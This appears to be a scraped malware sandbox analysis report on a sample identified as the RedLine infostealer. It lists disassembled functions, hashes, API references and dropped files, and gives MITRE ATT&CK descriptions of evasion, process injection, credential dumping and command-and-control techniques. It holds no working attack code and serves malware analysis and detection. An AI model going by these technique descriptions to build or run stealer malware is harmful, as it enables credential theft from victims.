Instruction ID: 9d83750099935cca86e078fd4d1dc0b438118fbf1bd100b6cee3ac885ae83ca0
Opcode Fuzzy Hash: b4cd9d62de7e28df3e0830f47d13df4c1266b3204158317ba87f62b8d88ade84
Instruction Fuzzy Hash: 62428970700A288FCB24AF68D450A6EBBF6FFC5706F40495DD507AB391CB79E9458B82

Function 05D804F4 Relevance: 3.0, Strings: 2, Instructions: 501COMMON

Download Yara Rule

Strings

la~, xrefs: 05D802F2
a~, xrefs: 05D804C5

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: la~$a~
API String ID: 0-2302496561
Opcode ID: 1e7f8d1861a625da366aa125d0d59997f086b26e47d0987e9f35fef40ebf8e34
Instruction ID: 429c48b12a33dedcfde65991e93c99e509325dc6d2ca1a8a44dbb6721387d6b5
Opcode Fuzzy Hash: 1e7f8d1861a625da366aa125d0d59997f086b26e47d0987e9f35fef40ebf8e34
Instruction Fuzzy Hash: 8D129C707006249FCB10EF68C854A6EBBF6FF85705F408959E5069F391CBB5ED498B82

Function 05D806CC Relevance: 2.9, Strings: 2, Instructions: 356COMMON

Download Yara Rule

Strings

la~, xrefs: 05D802F2
a~, xrefs: 05D804C5

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: la~$a~
API String ID: 0-2302496561
Opcode ID: f705ce16a7460f959105aeb941550240a28d87800a01b9d8bad233fcd909d40a
Instruction ID: 69fa6db3d96be42665658d9c854dd59a0d9ec1695c4b7a8cda6bbcb8981ec000
Opcode Fuzzy Hash: f705ce16a7460f959105aeb941550240a28d87800a01b9d8bad233fcd909d40a
Instruction Fuzzy Hash: 72E18C70B00614DFDB00EF68C859B7E7BB6BF98705F10845AE6029F3A1CB75E9498B91

Function 05D375E8 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,05D374A6), ref: 05D37656

Memory Dump Source

Source File: 00000000.00000002.1803105526.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d30000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 20d19163f7ec0a27b2eca8d973876454f3d5852785ab54970978969f9c71415b
Instruction ID: 9da42b98a0a60c03f3c7bedf4cdcdba6322723442ffbb3720feac9d91a8e75ca
Opcode Fuzzy Hash: 20d19163f7ec0a27b2eca8d973876454f3d5852785ab54970978969f9c71415b
Instruction Fuzzy Hash: EA1112B58006498FDB10DF9AD845ADEFBF5EB88220F54842AD419A7311C379A646CFA1

Function 05D37148 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,05D374A6), ref: 05D37656

Memory Dump Source

Source File: 00000000.00000002.1803105526.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d30000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1ab19c3b0d4dea90df8f92ea73ee4afa873995e03804128aa705254203c2957d
Instruction ID: bd385c2b64ef7cc81985f2c814d7fb8fe69f923962a1bfa86cd1ba142a58c94d
Opcode Fuzzy Hash: 1ab19c3b0d4dea90df8f92ea73ee4afa873995e03804128aa705254203c2957d
Instruction Fuzzy Hash: 1B1153B2C007498FCB10DF9AC844A9EFBF4EB88220F10802AD469B7300C375A645CFA0

Function 00830CE0 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00830D47

Memory Dump Source

Source File: 00000000.00000002.1769367424.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_830000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 7632b412c05a5a4ebc98e42b714a9af2f59c291723e989a70d650240ec529952
Instruction ID: 22c7d2a3808f81e0932b38dcd01ceed89cb7176f33dac0bd427e7164e9baa049
Opcode Fuzzy Hash: 7632b412c05a5a4ebc98e42b714a9af2f59c291723e989a70d650240ec529952
Instruction Fuzzy Hash: 791146B09043498FCB20DFAAC4457EEFFF1AF88314F24845AC45AA7251C7796945CFA0

Function 00830CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00830D47

Memory Dump Source

Source File: 00000000.00000002.1769367424.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_830000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 7e4e1aaf15ee018e21f13c5e45b7af6ea4893c0693e513d7c77faecc8ca6c436
Instruction ID: 6245dca165202584f8e57b9684ba0fc6a602710d06829828ca5413131b78e564
Opcode Fuzzy Hash: 7e4e1aaf15ee018e21f13c5e45b7af6ea4893c0693e513d7c77faecc8ca6c436
Instruction Fuzzy Hash: FE1106B59003498FCB24DFAAC4457DEFBF5EB88324F208419C559A7240CB75A945CFA5

Function 05D8349D Relevance: 1.3, Instructions: 1280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56854e039a918e0d83ac21f090b6aae9047570311ab7efbd21c35e44cb160bb4
Instruction ID: 73e9f3ebca0f64a8d176622395b49592c927fbf53ea446bc0f4cce40d4218188
Opcode Fuzzy Hash: 56854e039a918e0d83ac21f090b6aae9047570311ab7efbd21c35e44cb160bb4
Instruction Fuzzy Hash: 19A18E74B002459FCB05DB68CC94A7EBBF6FF88700B15886AE51ADB3A1CB74DC058B51

Function 05D8338B Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 336247ee90cd6aa1c77c150d9c746cde734020f185b0c3f99e1db23ed2643632
Instruction ID: 193787636a3fc607561f1ee4051d3f32f97e7539c8d878ede94e50b3c3d69b06
Opcode Fuzzy Hash: 336247ee90cd6aa1c77c150d9c746cde734020f185b0c3f99e1db23ed2643632
Instruction Fuzzy Hash: 49215A357001049FCB14DF69C994EA9BBB2FF88714F5184A9E9099F3A2DA31EC05CB50

Function 007DD054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768908090.00000000007DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7dd000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a747504e7a02803cf5fa253e44f976fae399e8816fe393f131fc0fe91b3156cd
Instruction ID: 505a527c41f13e305ae2e31415823d653e517a47917193177ae7cde4a270c50e
Opcode Fuzzy Hash: a747504e7a02803cf5fa253e44f976fae399e8816fe393f131fc0fe91b3156cd
Instruction Fuzzy Hash: 4921F4B1504244EFCB25DF54D9C4B26BFB5FB88314F24C66AE9090A346C33ADC16CBA1

Function 007ED2F4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768957331.00000000007ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ed000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20fb37bc742cf23835cc6e7a5cd07b73469cbc9f8f1a15dbba547bb5e8807f4e
Instruction ID: fa8a7c7b6462eb5f7b25ba4ce3136e0b6795bdd354e505813b4b9f73b9b9f4f2
Opcode Fuzzy Hash: 20fb37bc742cf23835cc6e7a5cd07b73469cbc9f8f1a15dbba547bb5e8807f4e
Instruction Fuzzy Hash: FF210BB5605384DFDB11DF15D9C4B1ABB65FB98324F24C669D8094B345C33EDC06C6A2

Function 007ED4A4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768957331.00000000007ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ed000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2966e3b0f7a437de24b241a652dec529133377fff31a0c901b313f8dcd2729ad
Instruction ID: 20aed73dcafcfd9739f756836a2eb359188f0acb989cb6ddc657d6f428811ce8
Opcode Fuzzy Hash: 2966e3b0f7a437de24b241a652dec529133377fff31a0c901b313f8dcd2729ad
Instruction Fuzzy Hash: 812137B1604284DFCB11CF14C5C4B25BBA5FB98318F20C96DE80A4B392C33ADC16CB61

Function 007DD04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768908090.00000000007DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7dd000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85e589ff89d53fefa928555ed391731ad88d74b974b24a20ba51987b010bfd2c
Instruction ID: a7dd0aeab53684b4f230c44b1c4bfb4b511fabdb6b3220b4102bda52e01c3a78
Opcode Fuzzy Hash: 85e589ff89d53fefa928555ed391731ad88d74b974b24a20ba51987b010bfd2c
Instruction Fuzzy Hash: AC219D76504284DFCB16DF10D9C4B16BF72FB88314F24C6AAD9490A256C33AD826CBA1

Function 007ED2EF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768957331.00000000007ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ed000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 118f051af2fa4d3b71157da4c1d703aecab942a5cdb4903c1e78cbe3821e71d1
Instruction ID: 387fc218c0875c001c00f7353b3d3757cee75e7e8b03a7cfafbe9ac7d1e0a1f0
Opcode Fuzzy Hash: 118f051af2fa4d3b71157da4c1d703aecab942a5cdb4903c1e78cbe3821e71d1
Instruction Fuzzy Hash: 3A11C475505280CFDB11CF14D5C4B19FF72FB88324F24C6A9D8494B656C33AD80ACBA2

Function 007ED49F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768957331.00000000007ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ed000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: e1d3c190e544e2f17eda999ad044e69f5256495979381dec1deaf5c7ce965b8d
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 4411D075504280CFCB12CF14C5C4B15BF72FB88318F24C6ADD84A4B292C33AD91ACB51

Non-executed Functions

Function 0083DC90 Relevance: 6.6, Strings: 5, Instructions: 373COMMON

Download Yara Rule

Strings

Xm~, xrefs: 0083DF16
Xm~, xrefs: 0083DFC5
Hbq, xrefs: 0083DDA4
Xm~, xrefs: 0083DCEF
Xm~, xrefs: 0083DDB5

Memory Dump Source

Source File: 00000000.00000002.1769367424.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_830000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: Hbq$Xm~$Xm~$Xm~$Xm~
API String ID: 0-998832828
Opcode ID: ce9769d3a70995553e115be0790389a2433afb63190283a718169f0f576cae8d
Instruction ID: ebb311d107376bb51b0d3faa9e4e4440b2dae7f824471443b5ecc3d849f4a8cb
Opcode Fuzzy Hash: ce9769d3a70995553e115be0790389a2433afb63190283a718169f0f576cae8d
Instruction Fuzzy Hash: C6D15B74B002158FCB14DB78D894A6EBBF6EFC9350B158069E909DB3A1DB74DD02CB91

Function 05D3D108 Relevance: 1.6, Strings: 1, Instructions: 366COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05D3D4FB

Memory Dump Source

Source File: 00000000.00000002.1803105526.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d30000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: e243c66a6aadb489a9f839ff9f953e7b08800d0ab575c209fe155eef6d85c8b1
Instruction ID: 996f30340a7cb8ceeed3afda04c60c5be9c17919a896195ac59a6efc7d47b236
Opcode Fuzzy Hash: e243c66a6aadb489a9f839ff9f953e7b08800d0ab575c209fe155eef6d85c8b1
Instruction Fuzzy Hash: BAE1A171A042668BCB15DF75C4402ADFBF3BF96340B14C666E886EB240E774EA85CF90

Function 05D80D50 Relevance: 10.3, Strings: 8, Instructions: 293COMMON

Download Yara Rule

Strings

$^q, xrefs: 05D80E42
$^q, xrefs: 05D80DCC
$^q, xrefs: 05D80E4E
$^q, xrefs: 05D80F00
$^q, xrefs: 05D80F50
$^q, xrefs: 05D80F76
$^q, xrefs: 05D80F82
$^q, xrefs: 05D80E1C

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 8638fbf3156bb8bdda8a2f901869f47d5784274fea57c5273423bc14e29c22f9
Instruction ID: f2ac200d9a55c87030d97aaf5a0254402d24df3d80e7eb9d2ac2faa4445b68b8
Opcode Fuzzy Hash: 8638fbf3156bb8bdda8a2f901869f47d5784274fea57c5273423bc14e29c22f9
Instruction Fuzzy Hash: BBB18E30B046099FDB15EB69C858ABEBBF7BF88201F14845AD506DB3A1CB35D849CB50

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.log

C:\Users\user\AppData\Local\Temp\tmp1E9A.tmp

C:\Users\user\AppData\Local\Temp\tmp1EAA.tmp

C:\Users\user\AppData\Local\Temp\tmp1EBB.tmp

C:\Users\user\AppData\Local\Temp\tmp1ECB.tmp

C:\Users\user\AppData\Local\Temp\tmp1EDC.tmp

C:\Users\user\AppData\Local\Temp\tmp1EED.tmp

C:\Users\user\AppData\Local\Temp\tmp1EFD.tmp

C:\Users\user\AppData\Local\Temp\tmp1EFE.tmp

C:\Users\user\AppData\Local\Temp\tmp3E62.tmp

C:\Users\user\AppData\Local\Temp\tmp3E72.tmp

C:\Users\user\AppData\Local\Temp\tmp55A0.tmp

C:\Users\user\AppData\Local\Temp\tmp55B0.tmp

C:\Users\user\AppData\Local\Temp\tmp55C1.tmp

C:\Users\user\AppData\Local\Temp\tmp55D2.tmp

C:\Users\user\AppData\Local\Temp\tmp55E2.tmp

Windows Analysis Report
4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Function 0083E7B0 Relevance: 12.2, Strings: 9, Instructions: 929
COMMON